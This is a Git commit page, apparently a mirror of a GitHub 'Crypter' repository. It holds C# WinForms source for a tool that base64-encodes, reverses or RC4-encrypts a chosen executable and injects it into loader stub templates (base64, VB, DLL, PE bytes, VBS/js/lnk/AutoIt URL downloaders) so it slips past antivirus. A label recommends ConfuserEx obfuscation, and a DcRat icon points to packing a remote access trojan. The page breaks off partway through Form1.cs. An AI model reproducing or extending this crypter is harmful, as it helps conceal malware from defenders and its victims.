qwqdanchun
/
Crypter
mirror of https://github.com/qwqdanchun/Crypter.git
1
0
Fork 0
Code Issues Projects Releases Wiki Activity

1.0.0

This commit is contained in:
qwqdanchun 2020-04-25 10:25:34 +08:00
parent 699dd72a22
commit e73a11fd00
44 changed files with 42857 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

BIN
.vs/Crypter/v16/.suo Normal file
View File

Binary file not shown.

25
Crypter.sln Normal file
View File

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29926.136
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crypter", "Crypter\Crypter.csproj", "{FD3D0F58-8AC8-457D-BAC0-5AD31F03F619}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FD3D0F58-8AC8-457D-BAC0-5AD31F03F619}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FD3D0F58-8AC8-457D-BAC0-5AD31F03F619}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FD3D0F58-8AC8-457D-BAC0-5AD31F03F619}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FD3D0F58-8AC8-457D-BAC0-5AD31F03F619}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {064B9BAA-38EF-4626-8464-119B6B26A174}
EndGlobalSection
EndGlobal

157
Crypter/Crypter.csproj Normal file
View File

@ -0,0 +1,157 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{FD3D0F58-8AC8-457D-BAC0-5AD31F03F619}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Crypter</RootNamespace>
<AssemblyName>Crypter</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>Resources\DcRat.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="DotNetZip, Version=1.13.7.0, Culture=neutral, PublicKeyToken=6583c7c814667745, processorArchitecture=MSIL">
<HintPath>..\packages\DotNetZip.1.13.7\lib\net40\DotNetZip.dll</HintPath>
<EmbedInteropTypes>False</EmbedInteropTypes>
<Private>False</Private>
</Reference>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Form1.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Form1.Designer.cs">
<DependentUpon>Form1.cs</DependentUpon>
</Compile>
<Compile Include="FormDoc.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="FormDoc.Designer.cs">
<DependentUpon>FormDoc.cs</DependentUpon>
</Compile>
<Compile Include="FormAbout.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="FormAbout.Designer.cs">
<DependentUpon>FormAbout.cs</DependentUpon>
</Compile>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<EmbeddedResource Include="Form1.resx">
<DependentUpon>Form1.cs</DependentUpon>
<SubType>Designer</SubType>
</EmbeddedResource>
<EmbeddedResource Include="FormAbout.resx">
<DependentUpon>FormAbout.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="FormDoc.resx">
<DependentUpon>FormDoc.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="packages.config" />
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
<None Include="Resources\Include.zip" />
</ItemGroup>
<ItemGroup>
<None Include="Resources\base64.txt" />
</ItemGroup>
<ItemGroup>
<Content Include="Resources\Aut2exe.exe" />
<Content Include="Resources\avatar.png" />
<Content Include="Resources\DcRat.ico" />
<Content Include="Resources\rc4.txt" />
<Content Include="Resources\base64_url.txt" />
<Content Include="Resources\base64_Gzip.txt" />
<Content Include="Resources\dll.txt" />
<Content Include="Resources\PEbytes.txt" />
<Content Include="Resources\CSharp_url.txt" />
<Content Include="Resources\lnk_url.txt" />
<Content Include="Resources\js_url.txt" />
<Content Include="Resources\autoit_url.txt" />
<Content Include="Resources\VBS_url.txt" />
<Content Include="Resources\VB.txt" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>

13
Crypter/Crypter.csproj.user Normal file
View File

@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<PublishUrlHistory>publish\</PublishUrlHistory>
<InstallUrlHistory />
<SupportUrlHistory />
<UpdateUrlHistory />
<BootstrapperUrlHistory />
<ErrorReportUrlHistory />
<FallbackCulture>zh-CN</FallbackCulture>
<VerifyUploadedFiles>false</VerifyUploadedFiles>
</PropertyGroup>
</Project>

456
Crypter/Form1.Designer.cs generated Normal file
View File

@ -0,0 +1,456 @@
namespace CrypterExample
{
partial class Form1
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
this.groupBox1 = new System.Windows.Forms.GroupBox();
this.label3 = new System.Windows.Forms.Label();
this.textBox4 = new System.Windows.Forms.TextBox();
this.label2 = new System.Windows.Forms.Label();
this.textBox3 = new System.Windows.Forms.TextBox();
this.button1 = new System.Windows.Forms.Button();
this.textBox1 = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.button4 = new System.Windows.Forms.Button();
this.textBox2 = new System.Windows.Forms.TextBox();
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.copyToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.button2 = new System.Windows.Forms.Button();
this.button3 = new System.Windows.Forms.Button();
this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.button5 = new System.Windows.Forms.Button();
this.button6 = new System.Windows.Forms.Button();
this.button7 = new System.Windows.Forms.Button();
this.button8 = new System.Windows.Forms.Button();
this.button9 = new System.Windows.Forms.Button();
this.button10 = new System.Windows.Forms.Button();
this.button11 = new System.Windows.Forms.Button();
this.button12 = new System.Windows.Forms.Button();
this.button13 = new System.Windows.Forms.Button();
this.menuStrip1 = new System.Windows.Forms.MenuStrip();
this.文件ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.打开文件ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.退出ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.帮助ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.文档ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.关于ToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.linkLabel1 = new System.Windows.Forms.LinkLabel();
this.label4 = new System.Windows.Forms.Label();
this.groupBox1.SuspendLayout();
this.contextMenuStrip1.SuspendLayout();
this.menuStrip1.SuspendLayout();
this.SuspendLayout();
//
// groupBox1
//
this.groupBox1.Controls.Add(this.label3);
this.groupBox1.Controls.Add(this.textBox4);
this.groupBox1.Controls.Add(this.label2);
this.groupBox1.Controls.Add(this.textBox3);
this.groupBox1.Controls.Add(this.button1);
this.groupBox1.Controls.Add(this.textBox1);
this.groupBox1.Controls.Add(this.label1);
this.groupBox1.Location = new System.Drawing.Point(7, 28);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(328, 154);
this.groupBox1.TabIndex = 0;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Setting";
//
// label3
//
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(22, 108);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(29, 12);
this.label3.TabIndex = 8;
this.label3.Text = "url:";
//
// textBox4
//
this.textBox4.Location = new System.Drawing.Point(57, 108);
this.textBox4.Name = "textBox4";
this.textBox4.Size = new System.Drawing.Size(252, 21);
this.textBox4.TabIndex = 7;
//
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(22, 72);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(29, 12);
this.label2.TabIndex = 6;
this.label2.Text = "key:";
//
// textBox3
//
this.textBox3.Location = new System.Drawing.Point(57, 69);
this.textBox3.Name = "textBox3";
this.textBox3.Size = new System.Drawing.Size(252, 21);
this.textBox3.TabIndex = 5;
//
// button1
//
this.button1.Location = new System.Drawing.Point(257, 36);
this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(52, 21);
this.button1.TabIndex = 4;
this.button1.Text = "Browse";
this.button1.UseVisualStyleBackColor = true;
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// textBox1
//
this.textBox1.Location = new System.Drawing.Point(24, 36);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(227, 21);
this.textBox1.TabIndex = 2;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(13, 18);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(29, 12);
this.label1.TabIndex = 0;
this.label1.Text = "File";
//
// button4
//
this.button4.Location = new System.Drawing.Point(9, 188);
this.button4.Name = "button4";
this.button4.Size = new System.Drawing.Size(51, 38);
this.button4.TabIndex = 2;
this.button4.Text = "Base64";
this.button4.UseVisualStyleBackColor = true;
this.button4.Click += new System.EventHandler(this.button4_Click);
//
// textBox2
//
this.textBox2.AcceptsReturn = true;
this.textBox2.AcceptsTab = true;
this.textBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.textBox2.ContextMenuStrip = this.contextMenuStrip1;
this.textBox2.Location = new System.Drawing.Point(341, 64);
this.textBox2.MaxLength = 3276700;
this.textBox2.Multiline = true;
this.textBox2.Name = "textBox2";
this.textBox2.ReadOnly = true;
this.textBox2.ScrollBars = System.Windows.Forms.ScrollBars.Vertical;
this.textBox2.Size = new System.Drawing.Size(310, 206);
this.textBox2.TabIndex = 3;
//
// contextMenuStrip1
//
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.copyToolStripMenuItem1});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(105, 26);
//
// copyToolStripMenuItem1
//
this.copyToolStripMenuItem1.Name = "copyToolStripMenuItem1";
this.copyToolStripMenuItem1.Size = new System.Drawing.Size(104, 22);
this.copyToolStripMenuItem1.Text = "copy";
this.copyToolStripMenuItem1.Click += new System.EventHandler(this.copyToolStripMenuItem1_Click);
//
// button2
//
this.button2.Location = new System.Drawing.Point(9, 232);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(51, 38);
this.button2.TabIndex = 4;
this.button2.Text = "VB";
this.button2.UseVisualStyleBackColor = true;
this.button2.Click += new System.EventHandler(this.button2_Click);
//
// button3
//
this.button3.Location = new System.Drawing.Point(66, 232);
this.button3.Name = "button3";
this.button3.Size = new System.Drawing.Size(51, 38);
this.button3.TabIndex = 5;
this.button3.Text = "Rc4";
this.button3.UseVisualStyleBackColor = true;
this.button3.Click += new System.EventHandler(this.button3_Click);
//
// copyToolStripMenuItem
//
this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
this.copyToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.copyToolStripMenuItem.Text = "Copy";
//
// button5
//
this.button5.Location = new System.Drawing.Point(178, 188);
this.button5.Name = "button5";
this.button5.Size = new System.Drawing.Size(51, 38);
this.button5.TabIndex = 6;
this.button5.Text = "Base64\r\nurl";
this.button5.UseVisualStyleBackColor = true;
this.button5.Click += new System.EventHandler(this.button5_Click);
//
// button6
//
this.button6.Location = new System.Drawing.Point(123, 188);
this.button6.Name = "button6";
this.button6.Size = new System.Drawing.Size(49, 38);
this.button6.TabIndex = 7;
this.button6.Text = "Base64\r\nGzip";
this.button6.UseVisualStyleBackColor = true;
this.button6.Click += new System.EventHandler(this.button6_Click);
//
// button7
//
this.button7.Location = new System.Drawing.Point(123, 232);
this.button7.Name = "button7";
this.button7.Size = new System.Drawing.Size(49, 38);
this.button7.TabIndex = 8;
this.button7.Text = "DLL";
this.button7.UseVisualStyleBackColor = true;
this.button7.Click += new System.EventHandler(this.button7_Click);
//
// button8
//
this.button8.Location = new System.Drawing.Point(66, 188);
this.button8.Name = "button8";
this.button8.Size = new System.Drawing.Size(49, 38);
this.button8.TabIndex = 9;
this.button8.Text = "PE\r\nbytes";
this.button8.UseVisualStyleBackColor = true;
this.button8.Click += new System.EventHandler(this.button8_Click);
//
// button9
//
this.button9.Location = new System.Drawing.Point(178, 232);
this.button9.Name = "button9";
this.button9.Size = new System.Drawing.Size(49, 38);
this.button9.TabIndex = 10;
this.button9.Text = "CSharp\r\nurl";
this.button9.UseVisualStyleBackColor = true;
this.button9.Click += new System.EventHandler(this.button9_Click);
//
// button10
//
this.button10.Location = new System.Drawing.Point(233, 188);
this.button10.Name = "button10";
this.button10.Size = new System.Drawing.Size(49, 38);
this.button10.TabIndex = 11;
this.button10.Text = "VBS\r\nurl";
this.button10.UseVisualStyleBackColor = true;
this.button10.Click += new System.EventHandler(this.button10_Click);
//
// button11
//
this.button11.Location = new System.Drawing.Point(233, 232);
this.button11.Name = "button11";
this.button11.Size = new System.Drawing.Size(49, 38);
this.button11.TabIndex = 12;
this.button11.Text = "lnk\r\nurl";
this.button11.UseVisualStyleBackColor = true;
this.button11.Click += new System.EventHandler(this.button11_Click);
//
// button12
//
this.button12.Location = new System.Drawing.Point(288, 188);
this.button12.Name = "button12";
this.button12.Size = new System.Drawing.Size(49, 38);
this.button12.TabIndex = 13;
this.button12.Text = "js\r\nurl";
this.button12.UseVisualStyleBackColor = true;
this.button12.Click += new System.EventHandler(this.button12_Click);
//
// button13
//
this.button13.Location = new System.Drawing.Point(288, 232);
this.button13.Name = "button13";
this.button13.Size = new System.Drawing.Size(49, 38);
this.button13.TabIndex = 14;
this.button13.Text = "AutoIt\r\nurl";
this.button13.UseVisualStyleBackColor = true;
this.button13.Click += new System.EventHandler(this.button13_Click);
//
// menuStrip1
//
this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.文件ToolStripMenuItem,
this.帮助ToolStripMenuItem});
this.menuStrip1.Location = new System.Drawing.Point(0, 0);
this.menuStrip1.Name = "menuStrip1";
this.menuStrip1.Size = new System.Drawing.Size(663, 25);
this.menuStrip1.TabIndex = 15;
this.menuStrip1.Text = "menuStrip1";
//
// 文件ToolStripMenuItem
//
this.文件ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.打开文件ToolStripMenuItem,
this.退出ToolStripMenuItem});
this.文件ToolStripMenuItem.Name = "文件ToolStripMenuItem";
this.文件ToolStripMenuItem.Size = new System.Drawing.Size(44, 21);
this.文件ToolStripMenuItem.Text = "文件";
//
// 打开文件ToolStripMenuItem
//
this.打开文件ToolStripMenuItem.Name = "打开文件ToolStripMenuItem";
this.打开文件ToolStripMenuItem.Size = new System.Drawing.Size(124, 22);
this.打开文件ToolStripMenuItem.Text = "打开文件";
this.打开文件ToolStripMenuItem.Click += new System.EventHandler(this.打开文件ToolStripMenuItem_Click);
//
// 退出ToolStripMenuItem
//
this.退出ToolStripMenuItem.Name = "退出ToolStripMenuItem";
this.退出ToolStripMenuItem.Size = new System.Drawing.Size(124, 22);
this.退出ToolStripMenuItem.Text = "退出";
this.退出ToolStripMenuItem.Click += new System.EventHandler(this.退出ToolStripMenuItem_Click);
//
// 帮助ToolStripMenuItem
//
this.帮助ToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.文档ToolStripMenuItem,
this.关于ToolStripMenuItem});
this.帮助ToolStripMenuItem.Name = "帮助ToolStripMenuItem";
this.帮助ToolStripMenuItem.Size = new System.Drawing.Size(44, 21);
this.帮助ToolStripMenuItem.Text = "帮助";
//
// 文档ToolStripMenuItem
//
this.文档ToolStripMenuItem.Name = "文档ToolStripMenuItem";
this.文档ToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.文档ToolStripMenuItem.Text = "文档";
this.文档ToolStripMenuItem.Click += new System.EventHandler(this.文档ToolStripMenuItem_Click);
//
// 关于ToolStripMenuItem
//
this.关于ToolStripMenuItem.Name = "关于ToolStripMenuItem";
this.关于ToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.关于ToolStripMenuItem.Text = "关于";
this.关于ToolStripMenuItem.Click += new System.EventHandler(this.关于ToolStripMenuItem_Click);
//
// linkLabel1
//
this.linkLabel1.AutoSize = true;
this.linkLabel1.Location = new System.Drawing.Point(341, 49);
this.linkLabel1.Name = "linkLabel1";
this.linkLabel1.Size = new System.Drawing.Size(227, 12);
this.linkLabel1.TabIndex = 16;
this.linkLabel1.TabStop = true;
this.linkLabel1.Text = "https://github.com/yck1509/ConfuserEx";
//
// label4
//
this.label4.AutoSize = true;
this.label4.Location = new System.Drawing.Point(341, 37);
this.label4.Name = "label4";
this.label4.Size = new System.Drawing.Size(113, 12);
this.label4.TabIndex = 17;
this.label4.Text = "搭配混淆工具使用：";
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.SystemColors.Control;
this.ClientSize = new System.Drawing.Size(663, 278);
this.Controls.Add(this.label4);
this.Controls.Add(this.linkLabel1);
this.Controls.Add(this.menuStrip1);
this.Controls.Add(this.button13);
this.Controls.Add(this.button12);
this.Controls.Add(this.button11);
this.Controls.Add(this.button10);
this.Controls.Add(this.button9);
this.Controls.Add(this.button8);
this.Controls.Add(this.button7);
this.Controls.Add(this.button6);
this.Controls.Add(this.button5);
this.Controls.Add(this.button3);
this.Controls.Add(this.button2);
this.Controls.Add(this.textBox2);
this.Controls.Add(this.button4);
this.Controls.Add(this.groupBox1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MainMenuStrip = this.menuStrip1;
this.MaximizeBox = false;
this.Name = "Form1";
this.Opacity = 0.9D;
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "簞純Crypter";
this.groupBox1.ResumeLayout(false);
this.groupBox1.PerformLayout();
this.contextMenuStrip1.ResumeLayout(false);
this.menuStrip1.ResumeLayout(false);
this.menuStrip1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.GroupBox groupBox1;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.TextBox textBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Button button4;
private System.Windows.Forms.TextBox textBox2;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox textBox3;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem copyToolStripMenuItem1;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.TextBox textBox4;
private System.Windows.Forms.Button button5;
private System.Windows.Forms.Button button6;
private System.Windows.Forms.Button button7;
private System.Windows.Forms.Button button8;
private System.Windows.Forms.Button button9;
private System.Windows.Forms.Button button10;
private System.Windows.Forms.Button button11;
private System.Windows.Forms.Button button12;
private System.Windows.Forms.Button button13;
private System.Windows.Forms.MenuStrip menuStrip1;
private System.Windows.Forms.ToolStripMenuItem 文件ToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem 打开文件ToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem 退出ToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem 帮助ToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem 文档ToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem 关于ToolStripMenuItem;
private System.Windows.Forms.LinkLabel linkLabel1;
private System.Windows.Forms.Label label4;
}
}

426
Crypter/Form1.cs Normal file
View File

@ -0,0 +1,426 @@
using System;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Microsoft.VisualBasic;
using Crypter.Properties;
using Microsoft.VisualBasic.CompilerServices;
using System.IO.Compression;
using System.Threading;
using System.Diagnostics;
using Ionic.Zip;
using Crypter;
namespace CrypterExample
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
OpenFileDialog FOpen = new OpenFileDialog()
{
Filter = "Executable Files|*.exe",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
if (FOpen.ShowDialog() == DialogResult.OK)
textBox1.Text = FOpen.FileName;
}
private void button4_Click(object sender, EventArgs e)
{
string Source = Crypter.Properties.Resources.base64;
if (textBox1.Text != "")
{
byte[] FileBytes = File.ReadAllBytes(textBox1.Text);
string EncryptedStr = Strings.StrReverse(Convert.ToBase64String(FileBytes));
Source = Source.Replace("[stub-replace]", EncryptedStr);
textBox2.Text = Source;
MessageBox.Show("Copy to VS ; Use .NET Framework 4 ; Choose Windows Application and x86.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please select the file.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button2_Click(object sender, EventArgs e)
{
string Source = Crypter.Properties.Resources.VB;
if (textBox1.Text != "")
{
byte[] FileBytes = File.ReadAllBytes(textBox1.Text);
string EncryptedStr = Strings.StrReverse(Convert.ToBase64String(FileBytes));
string Encrypted = "\"" + EncryptedStr.Substring(0, 1) + "\"";
for (int i = 1; i < EncryptedStr.Length; i++)
{
Encrypted = Encrypted + "," + "\r\n" + "\"" + EncryptedStr.Substring(i, 1) + "\"";
}
Source = Source.Replace("[stub-replace]", Encrypted);
textBox2.Text = Source;
MessageBox.Show("Copy to VS ; Use .NET Framework VB ; Choose Windows Application.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please select the file.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button3_Click(object sender, EventArgs e)
{
if (textBox1.Text != "" && textBox3.Text != "")
{
byte[] b = File.ReadAllBytes(textBox1.Text);
string contents = Resources.rc4.Replace("lol", Conversions.ToString(this.Brc4(b))).Replace("kkkkk", textBox3.Text);
textBox2.Text = contents;
MessageBox.Show("Copy to VS ; Use .NET Framework 4 ; Choose Windows Application.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please select the file and enter the key.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
public object Brc4(byte[] b2)
{
StringBuilder stringBuilder = new StringBuilder();
byte[] array = this.RC4Encrypt(b2);
foreach (byte value in array)
{
stringBuilder.Append(value);
stringBuilder.Append(",");
}
return stringBuilder.ToString().Remove(checked(stringBuilder.Length - 1));
}
private byte[] RC4Encrypt(byte[] key)
{
byte[] bytes = Encoding.ASCII.GetBytes(textBox3.Text);
uint[] array = new uint[256];
checked
{
byte[] array2 = new byte[key.Length - 1 + 1];
uint num = 0U;
uint num2;
uint num3;
do
{
array[(int)num] = num;
num += 1U;
num2 = num;
num3 = 255U;
}
while (num2 <= num3);
num = 0U;
uint num4 = 0;
uint num6;
do
{
num4 = (uint)(unchecked((ulong)(checked(num4 + (uint)bytes[(int)(unchecked((ulong)num % (ulong)((long)bytes.Length)))] + array[(int)num]))) & 255UL);
uint num5 = array[(int)num];
array[(int)num] = array[(int)num4];
array[(int)num4] = num5;
num += 1U;
num6 = num;
num3 = 255U;
}
while (num6 <= num3);
num = 0U;
num4 = 0U;
int num7 = 0;
int num8 = array2.Length - 1;
int num9 = num7;
for (; ; )
{
int num10 = num9;
int num11 = num8;
if (num10 > num11)
{
break;
}
num = (uint)(unchecked((ulong)num) + 1UL & 255UL);
num4 = (uint)(unchecked((ulong)(checked(num4 + array[(int)num]))) & 255UL);
uint num5 = array[(int)num];
array[(int)num] = array[(int)num4];
array[(int)num4] = num5;
array2[num9] = (byte)((uint)key[num9] ^ array[(int)(unchecked((ulong)(checked(array[(int)num] + array[(int)num4]))) & 255UL)]);
num9++;
}
return array2;
}
}
private void copyToolStripMenuItem1_Click(object sender, EventArgs e)
{
if (textBox2.Text != "")
{
Clipboard.SetDataObject(textBox2.Text.Trim());
}
}
private void button5_Click(object sender, EventArgs e)
{
if (textBox1.Text != "")
{
if (textBox4.Text != "")
{
string stub = Resources.base64_url.Replace("123456", textBox4.Text);
textBox2.Text = stub;
}
else
{
string source = Convert.ToBase64String(File.ReadAllBytes(this.textBox1.Text));
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\Server.jpg", source);
Interaction.MsgBox("Create Server.jpg on Desktop", MsgBoxStyle.Information, "Done !!!");
}
MessageBox.Show("Copy to VS ; Use .NET Framework 4 ; Choose Windows Application.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please select the file and enter the key.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button6_Click(object sender, EventArgs e)
{
if (textBox1.Text != "")
{
string source = Convert.ToBase64String(GZip(File.ReadAllBytes(this.textBox1.Text)));
string stub = Resources.base64_Gzip.Replace("123456", source);
textBox2.Text = stub;
